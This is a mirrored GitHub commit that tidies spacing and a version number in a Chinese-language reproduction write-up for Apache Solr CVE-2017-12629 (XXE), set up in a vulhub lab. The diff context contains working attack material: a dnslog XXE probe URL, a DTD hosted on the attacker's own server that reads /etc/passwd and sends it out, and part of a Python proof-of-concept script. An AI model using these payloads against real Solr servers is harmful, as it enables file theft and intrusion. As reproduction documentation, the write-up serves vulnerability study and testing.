mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-27 19:10:58 +00:00
fix incorrect version
This commit is contained in:
1 parent
58cde1eb40
commit
f24ca892fe
1 file changed
+11
-14
@@ -7,32 +7,32 @@
|
||||
- https://www.exploit-db.com/exploits/43009/
|
||||
- https://paper.seebug.org/425/
|
||||
|
||||
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
|
||||
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。
|
||||
|
||||
本环境仅测试XXE漏洞,RCE和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。
|
||||
本环境仅测试 XXE 漏洞,RCE 和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
Apache Solr < 7.1
|
||||
Apache Lucene < 7.
|
||||
Apache Lucene < 7.1
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
Vulhub运行漏洞环境:
|
||||
Vulhub 运行漏洞环境:
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
|
||||
命令执行成功后,需要等待一会,之后访问 `http://your-ip:8983/` 即可查看到 Apache solr 的管理页面,无需登录。
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
先请求url地址获取 cores 内容:
|
||||
先请求 url 地址获取 cores 内容:
|
||||
|
||||
```
|
||||
http://your-ip:8983/solr/admin/cores
|
||||
@@ -40,9 +40,7 @@ http://your-ip:8983/solr/admin/cores
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
访问dnslog,验证漏洞是否存在(注意这里的`demo`是从上一步中得到的):
|
||||
访问 dnslog,验证漏洞是否存在(注意这里的 `demo` 是从上一步中得到的):
|
||||
|
||||
```plain
|
||||
http://your-ip:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxxxx.ceye.io"><a></a>'}&wt=xml
|
||||
@@ -50,11 +48,11 @@ http://your-ip:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http:/
|
||||
|
||||

|
||||
|
||||
查看dnslog得到请求,漏洞存在:
|
||||
查看 dnslog 得到请求,漏洞存在:
|
||||
|
||||

|
||||
|
||||
在自己的服务器上写入一个可访问的XML文件solr_xxe.dtd,内容写入:
|
||||
在自己的服务器上写入一个可访问的 XML 文件 solr_xxe.dtd,内容写入:
|
||||
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
@@ -72,9 +70,9 @@ http://your-ip:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!
|
||||
|
||||

|
||||
|
||||
注意这里的payload进行了url编码,请求的文件为`http://your.domain/solr_xxe.dtd`,有更多需求自行更改写入的xml文件。
|
||||
注意这里的 payload 进行了 url 编码,请求的文件为 `http://your.domain/solr_xxe.dtd`,有更多需求自行更改写入的 xml 文件。
|
||||
|
||||
## 漏洞POC
|
||||
## 漏洞 POC
|
||||
|
||||
```
|
||||
# solr_xxe.dtd
|
||||
@@ -142,4 +140,3 @@ if __name__ == '__main__':
|
||||
```
|
||||
|
||||

|
||||
|
||||
Reference in new issue
Block a user